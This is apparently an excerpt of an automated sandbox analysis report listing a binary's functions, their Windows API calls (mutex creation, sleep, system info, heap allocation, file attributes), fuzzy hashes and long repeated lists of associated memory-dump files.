Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 54874ca9aefe8c9d6798c51584e2d5b8d049e4063d3bbcf05ac93829d2b5cc32
Instruction ID: f3f65c2cf126b44b916ad5ad00f3a1a4b61e042dac13e56877cb5cddea0aac0a
Opcode Fuzzy Hash: 54874ca9aefe8c9d6798c51584e2d5b8d049e4063d3bbcf05ac93829d2b5cc32
Instruction Fuzzy Hash: 94219E717442009BFB189F6CDCC5B2DFB65EBC2324F20461AE804C76E1DBB95980E612

Function 00F4A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 24d315298eb5047fac83a3868a5c85f0df1459fa025f7180bb8d8ab628730af8
Instruction ID: 61da84530b101cafbdbe8ba966f8e20d256f249b41b5222901f710cfc1c6c3ca
Opcode Fuzzy Hash: 24d315298eb5047fac83a3868a5c85f0df1459fa025f7180bb8d8ab628730af8
Instruction Fuzzy Hash: 41216A71AC92018AFB2477688C96B2EBE62DF82314F240D17ED04D72D1CBBE8881B153

Function 00F4A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00F4A963
CreateMutexA.KERNEL32(00000000,00000000,00FA3254), ref: 00F4A981

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2420ed067a245dd04a6c35dddb706d5bed11226c52bbd32aad16e4e7c7a73dc5
Instruction ID: f2d2b8b6537d18a3e80fcd7f4aa8d997ca488b781d652266008f88473bbfa48d
Opcode Fuzzy Hash: 2420ed067a245dd04a6c35dddb706d5bed11226c52bbd32aad16e4e7c7a73dc5
Instruction Fuzzy Hash: 5421AC716802009BEB189F6CDC8572DBB66DBC2324F20461AE804D76E0DB7A5980A313

Function 00F47D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F47ED3

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: a5e107a660201a7467c9022024c1129d56734783f553c4f24927ef5fbf84c46b
Instruction ID: 642ee65d4d9fd0442de6f1d50dbb13193ff6bd3005a6b5fe905c2e567b983553
Opcode Fuzzy Hash: a5e107a660201a7467c9022024c1129d56734783f553c4f24927ef5fbf84c46b
Instruction Fuzzy Hash: C7E11971E006549BDF14BB68CC473AE7E61AB46B20F94428CEC15673D2DB394E85ABC2

Function 00F7D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00F7A813,00000001,00000364,00000006,000000FF,?,00F7EE3F,?,00000004,00000000,?,?), ref: 00F7D871

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161921001.00000000011CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161941344.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161958553.00000000011D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161983324.00000000011E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.00000000011E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162011810.0000000001219000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162068904.0000000001233000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162087842.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162109453.000000000124A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162130377.000000000124B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162146506.000000000124C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162165584.0000000001250000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162181230.0000000001252000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162209186.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162225199.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 66eab623473da5acbc6224cece09fda008fd4aa44b4cb1ead843810f968b9a33
Instruction ID: b3e0427457d342a42755b829bdbfcbd53a858feedea5a1c77fb6eb77091b300f
Opcode Fuzzy Hash: 66eab623473da5acbc6224cece09fda008fd4aa44b4cb1ead843810f968b9a33
Instruction Fuzzy Hash: FCF0E932A5522466EB212AB29C01B5B3779DF85370B58C123EC0C97181DA20EC01B1E3

Function 00F487B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00F4DA1D,?,?,?,?), ref: 00F487B9

Memory Dump Source

Source File: 00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.2160481470.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160499744.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160582688.0000000000FA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160602010.0000000000FAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160620833.0000000000FB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160637404.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160656189.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160846468.0000000001111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160868655.0000000001113000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160901644.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160921646.000000000112C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.000000000112E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2160989653.000000000113D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161052164.000000000113F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161288601.000000000114B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161522313.0000000001151000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161550389.0000000001166000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161658216.0000000001191000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161679655.0000000001192000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161698846.000000000119A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161718517.000000000119B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161747097.00000000011A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161767471.00000000011AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161786836.00000000011AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161806756.00000000011AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161827957.00000000011BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161846851.00000000011BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161865361.00000000011BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161882699.00000000011C6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161903179.00000000011CD000.00000080.00000001.01000000.00000003.sdmpDownload File
